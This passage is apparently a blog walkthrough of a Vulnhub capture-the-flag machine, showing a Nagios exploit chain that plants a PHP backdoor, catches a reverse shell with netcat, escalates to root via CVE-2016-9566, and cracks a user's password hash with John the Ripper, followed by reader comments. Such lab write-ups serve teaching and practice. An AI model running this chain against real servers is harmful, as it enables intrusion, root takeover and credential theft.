bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
nagios:x:1001:1001::/home/nagios:/bin/bash
colord:x:105:114:colord colour management daemon,,,:/var/lib/colord:/bin/false
warluigi:x:1000:1000:,,,:/home/warluigi:/bin/bash

[*] Contents of /usr/local/nagios/etc/htpasswd.users file:

nagiosadmin:$apr1$o4EDk6Lc$8EHwsjjumzsPe3zrKfV6t0

[*] Retrieved nagios group line from /etc/group file on the target: nagios:x:1001:nagios,www-data

[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)

[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) 

[+] PHP backdoor should have been saved in /usr/local/nagios/share/nagios-backdoor.php on the target by now!

[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :)

Listening on [0.0.0.0] (family 0, port 8080)

As the output says, "happy days"! The php backdoor has been successfully uploaded on the webserver. Plus, there is already a listener waiting for the reverse shell. Now all that is left to do is navigate to /nagios-backdoor.php.


After navigating to /nagios-backdoor.php as per the above screenshot, the console gets another update.

Connection from [192.168.122.122] port 8080 [tcp/http-alt] accepted (family 2, sport 37842)
bash: cannot set terminal process group (1126): Inappropriate ioctl for device
bash: no job control in this shell
www-data@warluigi:/usr/local/nagios/share$

Sweet, it worked like a charm and I'm in as www-data and being in group nagios. Now it's time to go for the privilege escalation using the second exploit in the chain.

I grab a copy of the second exploit, and transfer it over to the warluigi box using nc.

www-data@warluigi:/usr/local/nagios/share$ nc -l -p 12345 > nagios-root-privesc.sh
nc -l -p 12345 > nagios-root-privesc.sh             
www-data@warluigi:/usr/local/nagios/share$ chmod +x nagios-root-privesc.sh
chmod +x nagios-root-privesc.sh
www-data@warluigi:/usr/local/nagios/share$ ./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log
./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log                         
 
Nagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) 
nagios-root-privesc.sh (ver. 1.0)

Discovered and coded by: 

Dawid Golunski 
https://legalhackers.com 

[+] Starting the exploit as: 
uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(nagios),1002(nagcmd)

[+] Compiling the privesc shared library (/tmp/nagios_privesc_lib.c)

[+] Backdoor/low-priv shell installed at: 
-rwxr-xr-x 1 www-data www-data 1017016 Apr 23 18:47 /tmp/nagiosrootsh

[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: 
lrwxrwxrwx 1 www-data www-data 18 Apr 23 18:47 /usr/local/nagios/var/nagios.log -> /etc/ld.so.preload

[+] Waiting for Nagios service to get restarted...
Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] y

[+] Nagios stopped. Shouldn't take long now... ;)

[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: 
-rw-r--r-- 1 nagios nagios 802 Apr 23 18:48 /etc/ld.so.preload

[+] Injecting /tmp/nagios_privesc_lib.so via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload

[+] The /etc/ld.so.preload file now contains: 
[1492969719] Warning: Unrecognized external command -> NAGIOS_GIVE_ME_ROOT_NOW!;; /tmp/nagios_privesc_lib.so

[+] Triggering privesc code from /tmp/nagios_privesc_lib.so by executing /usr/bin/sudo SUID binary

[+] Rootshell got assigned root SUID perms at: 
-rwsrwxrwx 1 root root 1017016 Apr 23 18:47 /tmp/nagiosrootsh

Got root via Nagios!

[+] Nagios pwned. Spawning the rootshell /tmp/nagiosrootsh now

nagiosrootsh: cannot set terminal process group (1118): Inappropriate ioctl for device
nagiosrootsh: no job control in this shell
nagiosrootsh-4.3# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data),1001(nagios),1002(nagcmd)
nagiosrootsh-4.3# whoami
whoami
root

Took a little time to make it work. The sleep times the script uses to wait for nagios to create nagios.cmd was too small, and it was taking a bit more on my pc to work so I had to increase that in line 174. After that, I just had to run the script a few times for it to work since it's not that stable.

The important thing though, is that I got root on warluigi. Let's look for that second flag.

nagiosrootsh-4.3# cd /root/
cd /root/
nagiosrootsh-4.3# ls -la
ls -la
total 28
drwx------  3 root root 4096 Mar 15 19:48 .
drwxr-xr-x 22 root root 4096 Mar 10 12:17 ..
-rw-------  1 root root    0 Mar 15 19:48 .bash_history
-rw-r--r--  1 root root 3106 Feb 20  2014 .bashrc
-rw-r--r--  1 root root  148 Mar 10 20:47 .hint.txt
drwx------  3 root root 4096 Mar 10 16:55 .mozilla
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
-rw-------  1 root root    0 Mar 15 14:14 .viminfo
-rw-r--r--  1 root root  401 Mar 15 14:10 flag2.zip

Another zip. This time though there is .hint.txt available.

nagiosrootsh-4.3# cat .hint.txt
cat .hint.txt
So, today I saw her again, Peach. I'm so in love for her but my brother is completely lost for her.
I know that he loves Peach, but Peach Loves Me.

Aw that's cute. The love story continues. And the hint "Peach Loves Me" here is kind of obvious.

nagiosrootsh-4.3# unzip -P peachlovesme flag2.zip
unzip -P peachlovesme flag2.zip
Archive:  flag2.zip
  inflating: flag2.txt               
nagiosrootsh-4.3# cat flag2.txt
cat flag2.txt
Congratulations on your second flag!

As already mentioned in supermariohost, there are multiple ways to hack this machine. The goal is to get all the passwords of all the users in this machine. If you did it, then congratulations, I hope you had fun :D

Keep in touch on twitter through @mr_h4sh

Congratulations again!

mr_h4sh

That's it! Grabbed the second flag. Now since I am root, I copy Warluigi's hash from /etc/shadow locally and throw this to john with the previously created wordlist.

root@kali:~/ctfs/supermario# ../../Tools/JohnTheRipper/run/john --wordlist:wordlist.txt --rules warluigihash 
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE4.1 2x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovepeach       (warluigi)
1g 0:00:00:09 DONE (2017-04-24 07:36) 0.1057g/s 649.4p/s 649.4c/s 649.4C/s luigi98..peachyalonso
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Awesome. Having both flags and passwords for all characters concludes this ctf.

A great vm, nicely build, very interesting concept and all in all, very entertaining. Really enjoyed doing the testing in this one. Thanks a lot goes to mr_h4sh and as always to Vulnhub for hosting this.
Cheers!

Comments

  1. So there is the vhost "mario.supermariohost.local". I'm adding this entry in my /etc/hosts

    Why exactly do we add this to our /etc/hosts file ?

    ReplyDelete
    Replies
    1. Because the server requires a vhost for that site. If that hostname is set as the hostname header in the request it returns the proper page. Try it without having that value in your /etc/hosts and then add it and try again. You'll see that in the second case it actually loads the proper content. Also, you can pretty much do the same thing from within burp, I just prefer to do it that way so the setting is global.

      Delete
    2. Thanks! Actually i did try it without adding it to /etc/hosts, and it didn't load(server not found <--because it needs a vhost im assuming).
      using the :8180 just shows the default nginx page.

      I went through the man page for hostname as well in an attempt to understand this better.

      "Because the server requires a vhost for that site. If that hostname is set as the hostname header in the request it returns the proper page".
      Alright, i think i follow this to an extent. Thank you so much for helping me out, really appreciate it.

      Delete
    3. You're welcome. Glad I could help :)

      Delete
  2. Great writeup ! Keep doing good job !

    ReplyDelete
  3. Great tutorial! This was my first penetration testing and cannot have a best master than you for my first trial!

    ReplyDelete

Post a Comment